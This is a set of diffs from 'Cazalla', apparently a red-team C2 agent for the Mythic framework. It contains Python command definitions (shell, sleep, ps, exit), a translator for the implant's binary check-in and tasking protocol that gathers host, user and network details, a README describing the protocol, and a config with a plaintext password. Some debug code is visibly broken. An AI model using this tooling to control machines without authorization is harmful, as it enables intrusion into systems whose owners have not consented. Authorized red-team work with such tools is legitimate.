supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -1,83 +1,83 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="seconds",
type=ParameterType.Number,
description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="jitter",
type=ParameterType.Number,
description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
]
async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0:
raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}")
seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter)
class SleepCommand(CommandBase):
cmd = "sleep"
needs_admin = False
help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1029"]
argument_class = SleepArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="seconds",
type=ParameterType.Number,
description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="jitter",
type=ParameterType.Number,
description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
]
async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0:
raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}")
seconds = dictionary_arguments.get("seconds")
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
if seconds is None:
raise ValueError("The 'seconds' key is required in the dictionary.")
if not isinstance(seconds, int) or seconds < 0:
raise ValueError("The 'seconds' value must be a non-negative integer.")
# Explicitly map parsed dictionary values to parameters
self.add_arg("seconds", seconds)
self.add_arg("jitter", jitter)
class SleepCommand(CommandBase):
cmd = "sleep"
needs_admin = False
help_cmd = "sleep <segundos> [jitter]"
description = "Cambiar el sleep."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1029"]
argument_class = SleepArguments
attributes = CommandAttributes(
builtin=True,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,71 @@
function(task, responses) {
console.log(task)
console.log("-------------------------------------------------------------------------------------------------------")
console.log(responses)
if (task.status.includes("error")) {
const combined = responses.reduce((prev, cur) => prev + cur, "");
return { 'plaintext': combined };
} else if (responses.length > 0) {
// Combine and split the responses into lines
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
if (output.length === 0) {
return { 'plaintext': "No process information found." };
}
// Prepare the table structure
const formattedResponse = {
headers: [
{ plaintext: "Process Name", type: "string", fillWidth: true },
{ plaintext: "PPID", type: "number", width: 80 },
{ plaintext: "PID", type: "number", width: 80 },
{ plaintext: "Architecture", type: "string", width: 80 },
{ plaintext: "User Account", type: "string", fillWidth: true },
{ plaintext: "Session ID", type: "number", width: 80 }
],
title: "Process List",
rows: []
};
// Process each line to populate rows
output.forEach(line => {
const parts = line.split("\t");
// Ensure the array has up to 6 elements, filling missing parts with empty strings
while (parts.length < 6) {
parts.push("");
}
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
// Add the row, ensuring missing fields are shown as empty cells
formattedResponse.rows.push({
"Process Name": {
plaintext: processName || "",
cellStyle: {}
},
"PPID": {
plaintext: ppid || "",
cellStyle: {}
},
"PID": {
plaintext: pid || "",
cellStyle: {}
},
"Architecture": {
plaintext: architecture || "",
cellStyle: {}
},
"User Account": {
plaintext: userAccount || "",
cellStyle: {}
},
"Session ID": {
plaintext: sessionId || "",
cellStyle: {}
}
});
});
return { table: [formattedResponse] };
} else {
return { 'plaintext': "No response yet from agent..." };
}
}
+10 -10
View File
@@ -1,11 +1,11 @@
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
#from mywebhook.webhook import *
import mythic_container
import asyncio
import cazalla
#import websocket.mythic.c2_functions.websocket
from translator.translator import *
#from my_logger import logger
#from basic_command_augment import *
#from basic_eventer.my_eventing import *
mythic_container.mythic_service.start_and_run_forever()
+5 -5
View File
@@ -1,6 +1,6 @@
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
{
"rabbitmq_host": "127.0.0.1",
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
"mythic_server_host": "127.0.0.1",
"debug_level": "debug"
}
+8 -8
View File
@@ -1,9 +1,9 @@
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
aio-pika==9.0.4
dynaconf==3.1.11
ujson==5.7.0
aiohttp==3.8.3
psutil==5.9.4
grpcio
grpcio-tools
mythic-container
pyaml
@@ -1,68 +1,76 @@
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x08, "input_type":None},
"sleep": {"hex_code":0x38, "input_type":"int"}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
if commands[command_to_run]["input_type"] == "string":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
data += task["id"].encode()
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
import json
commands = {
"get_tasking": {"hex_code": 0x00, "input_type": None},
"checkin": {"hex_code": 0xf1, "input_type": None},
"post_response": {"hex_code": 0x01, "input_type": None},
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x80, "input_type": None},
"sleep": {"hex_code": 0x38, "input_type": "int"},
"ps": {"hex_code": 0x15, "input_type": None}
}
def responseTasking(tasks):
data = b""
dataTask = b""
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
for task in tasks:
command_to_run = task["command"]
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
task_id = task["id"].encode()
task_id_bytes = task["id"].encode()
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
data = command_code + task_id_serialized
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print("input_type: None")
print(dataTask)
elif commands[command_to_run]["input_type"] == "string":
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
data += parameters[param].encode()
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "int":
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
data += len(parameters).to_bytes(4, "big")
for param in parameters:
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
else:
data += b"\x00\x00\x00\x00"
dataTask += len(data).to_bytes(4, "big") + data
dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n")
print(dataToSend)
return dataToSend
def responseCheckin(uuid):
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
return data
def responsePosting(responses):
data = len(responses).to_bytes(4, "big")
for response in responses:
if response["status"] == "success":
data += b"\x01"
else:
data += b"\x00"
return data
@@ -1,96 +1,112 @@
from translator.utils import *
import ipaddress
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output":output.decode('cp850'),
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
return dataJson
from translator.utils import *
import ipaddress
import json
def checkIn(data):
# Retrieve UUID
uuid = data[:36]
data = data[36:]
# Retrieve IPs
numIPs = int.from_bytes(data[0:4])
data = data[4:]
i = 0
IPs = []
while i < numIPs:
ip = data[:4]
data = data[4:]
addr = str(ipaddress.ip_address(ip))
IPs.append(addr)
i += 1
# Retrieve OS
targetOS, data = getBytesWithSize(data)
# Retrive Architecture
archOS = data[0]
if archOS == 0x64:
archOS = "x64"
elif archOS == 0x86:
archOS = "x86"
else:
archOS = ""
data = data[1:]
# Retrieve HostName
hostname, data = getBytesWithSize(data)
# Retrieve Username
username, data = getBytesWithSize(data)
# Retrieve Domaine
domain, data = getBytesWithSize(data)
# Retrieve PID
pid = int.from_bytes(data[0:4])
data = data[4:]
# Retrieve Process Name
processName, data = getBytesWithSize(data)
#Retrieve External IP
externalIP, data = getBytesWithSize(data)
dataJson = {
"action": "checkin",
"ips": IPs,
"os": targetOS.decode('cp850'),
"user": username.decode('cp850'),
"host": hostname.decode('cp850'),
"domain": domain.decode('UTF-16LE'),
"process_name":processName.decode('cp850'),
"pid": pid,
"uuid": uuid.decode('cp850'),
"architecture": archOS ,
"externalIP": externalIP.decode('cp850'),
}
return dataJson
def getTasking(data):
numTasks = int.from_bytes(data[0:4])
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
return dataJson
def postResponse(data):
print("Tamaño del Base64 recibido: {len(data)} bytes")
resTaks = []
uuidTask = data[:36]
data = data[36:]
output, data = getBytesWithSize(data)
print("Tamaño después de extraer UUID: {len(data)} bytes")
try:
decoded_output = output.decode('cp850')
except Exception as e:
print("Fallo al decodificar la salida: {e}")
decoded_output = "[ERROR DECODIFICANDO]"
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output": decoded_output,
}
jsonTask["completed"] = True
resTaks.append(jsonTask)
dataJson = {
"action": "post_response",
"responses": resTaks
}
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
return dataJson
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
+52 -52
View File
@@ -1,52 +1,52 @@
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
import json
import base64
import binascii
import os
from translator.utils import *
from translator.commands_from_c2 import *
from translator.commands_from_implant import *
from mythic_container.TranslationBase import *
class cazalla_translator(TranslationContainer):
name = "cazalla_translator"
description = "python translation service for the Kaseya C agent Cazalla"
author = "OFSTeam"
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
response.DecryptionKey = b""
response.EncryptionKey = b""
return response
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
if inputMsg.Message["action"] == "checkin":
print("Response CHECKIN")
response.Message = responseCheckin(inputMsg.Message["id"])
elif inputMsg.Message["action"] == "get_tasking":
print("Response TASKING")
response.Message = responseTasking(inputMsg.Message["tasks"])
elif inputMsg.Message["action"] == "post_response":
print("Response POSTREP")
response.Message = responsePosting(inputMsg.Message["responses"])
return response
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
#response.Message = json.loads(inputMsg.Message)
data = inputMsg.Message
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
response.Message = checkIn(data[1:])
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
print("GET TASKING")
response.Message = getTasking(data[1:])
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
print("POST RESPONSE")
response.Message = postResponse(data[1:])
return response
+6 -6
View File
@@ -1,7 +1,7 @@
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
import base64
import os
def getBytesWithSize(data):
size = int.from_bytes(data[0:4])
data = data[4:]
return data[:size], data[size:]
+185 -185
View File
@@ -1,185 +1,185 @@
# Cazalla - Basic Mythic Implant in C
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
## Install Cazalla
Once Mythic is installed and running, use the following command to install Cazalla:
```sh
./mythic-cli install github <repository-url>
```
## Detection
A YARA rule can be provided for detection purposes.
## Communication Protocol
### HEADER - Implant to C2
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| UUID | 36 | Str (char*)|
| Action | 1 | UInt32 |
### HEADER - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| Action | 1 | Int32 |
UUID | BODY
#### Checkin - Implant to C2
Expected:
```json
{
"action": "checkin",
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
"ip": "127.0.0.1",
"os": "win",
"arch": "x64",
"hostname": "PC",
"user": "bob",
"domain": "domain.com",
"pid": 123,
"processname": "malware.exe"
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID | 36 | Str (char*) |
| Size IP | 4 | Uint32 |
| IP | Size IP | Str (char*) |
| Size OS | 4 | Uint32 |
| OS | Size OS | Str (char*) |
| Architecture | 1 | Int |
| Size Hostname | 4 | Uint32 |
| HostName | Size Hostname | Str (char*) |
| Size Username | 4 | Uint32 |
| Username | Size Username | Str (char*) |
| Size Domain | 4 | Uint32 |
| Domain | Size Domain | Str (char*) |
| PID | 4 | Uint32 |
| Size Process | 4 | Uint32 |
| Process Name | Size Process Name | Str (char*) |
| Size ExternIP | 4 | Uint32 |
| Extern IP | Size Extern IP | Str (char*) |
### Checkin - C2 to Implant
| Key | Key Len (bytes) | Type |
|----------|-------------------|-------------|
| New UUID | 36 | Str (char*) |
| Status | 1 | Byte |
### GetTasking - Implant to C2
Expected:
```json
{
"action": "get_tasking",
"tasking_size": 1
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number tasks | 4 | Uint32 |
### GetTasking - C2 to Implant
Expected:
```json
{
"action": "get_tasking",
"tasks": [
{
"command": "command name",
"parameters": "command param string",
"timestamp": 1578706611.324671,
"id": "task uuid"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| NumberOfTasks | 4 | Uint32 |
| Size Of Task1 | 4 | Uint32 |
| Task1 CMD | 1 | Int |
| Task1 UUID | 36 | Str (char*) |
| Task1 LenPara1| 4 | Uint32 |
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
### Post Response Header - Implant to C2
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Header - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Classic Output Return - Implant to C2
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": "uuid of task",
... response message
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID Resp 1 | 36 | Str (char*) |
| Size Output R1| 4 | Uint32 |
| Output R1 | Size Output | Bytes |
| Status R1 | 1 | Int |
### Post Response Classic Output Return - C2 to Implant
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": UUID,
"status": "success" or "error",
"error": "error message if it exists"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Status Resp1 | 1 | Int |
## Future Development
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
# Cazalla - Basic Mythic Implant in C
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
## Install Cazalla
Once Mythic is installed and running, use the following command to install Cazalla:
```sh
./mythic-cli install github <repository-url>
```
## Detection
A YARA rule can be provided for detection purposes.
## Communication Protocol
### HEADER - Implant to C2
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| UUID | 36 | Str (char*)|
| Action | 1 | UInt32 |
### HEADER - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------|-------------------|------------|
| Action | 1 | Int32 |
UUID | BODY
#### Checkin - Implant to C2
Expected:
```json
{
"action": "checkin",
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
"ip": "127.0.0.1",
"os": "win",
"arch": "x64",
"hostname": "PC",
"user": "bob",
"domain": "domain.com",
"pid": 123,
"processname": "malware.exe"
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID | 36 | Str (char*) |
| Size IP | 4 | Uint32 |
| IP | Size IP | Str (char*) |
| Size OS | 4 | Uint32 |
| OS | Size OS | Str (char*) |
| Architecture | 1 | Int |
| Size Hostname | 4 | Uint32 |
| HostName | Size Hostname | Str (char*) |
| Size Username | 4 | Uint32 |
| Username | Size Username | Str (char*) |
| Size Domain | 4 | Uint32 |
| Domain | Size Domain | Str (char*) |
| PID | 4 | Uint32 |
| Size Process | 4 | Uint32 |
| Process Name | Size Process Name | Str (char*) |
| Size ExternIP | 4 | Uint32 |
| Extern IP | Size Extern IP | Str (char*) |
### Checkin - C2 to Implant
| Key | Key Len (bytes) | Type |
|----------|-------------------|-------------|
| New UUID | 36 | Str (char*) |
| Status | 1 | Byte |
### GetTasking - Implant to C2
Expected:
```json
{
"action": "get_tasking",
"tasking_size": 1
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number tasks | 4 | Uint32 |
### GetTasking - C2 to Implant
Expected:
```json
{
"action": "get_tasking",
"tasks": [
{
"command": "command name",
"parameters": "command param string",
"timestamp": 1578706611.324671,
"id": "task uuid"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| NumberOfTasks | 4 | Uint32 |
| Size Of Task1 | 4 | Uint32 |
| Task1 CMD | 1 | Int |
| Task1 UUID | 36 | Str (char*) |
| Task1 LenPara1| 4 | Uint32 |
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
### Post Response Header - Implant to C2
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Header - C2 to Implant
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Number Resp | 4 | Uint32 |
### Post Response Classic Output Return - Implant to C2
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": "uuid of task",
... response message
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| UUID Resp 1 | 36 | Str (char*) |
| Size Output R1| 4 | Uint32 |
| Output R1 | Size Output | Bytes |
| Status R1 | 1 | Int |
### Post Response Classic Output Return - C2 to Implant
Expected:
```json
{
"action": "post_response",
"responses": [
{
"task_id": UUID,
"status": "success" or "error",
"error": "error message if it exists"
}
]
}
```
| Key | Key Len (bytes) | Type |
|---------------|-------------------|-------------|
| Status Resp1 | 1 | Int |
## Future Development
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
+7 -7
View File
@@ -1,7 +1,7 @@
{
"exclude_payload_type": false,
"exclude_c2_profiles": true,
"exclude_documentation_payload": true,
"exclude_documentation_c2": true,
"exclude_agent_icons": false
}
{
"exclude_payload_type": false,
"exclude_c2_profiles": true,
"exclude_documentation_payload": true,
"exclude_documentation_c2": true,
"exclude_agent_icons": false
}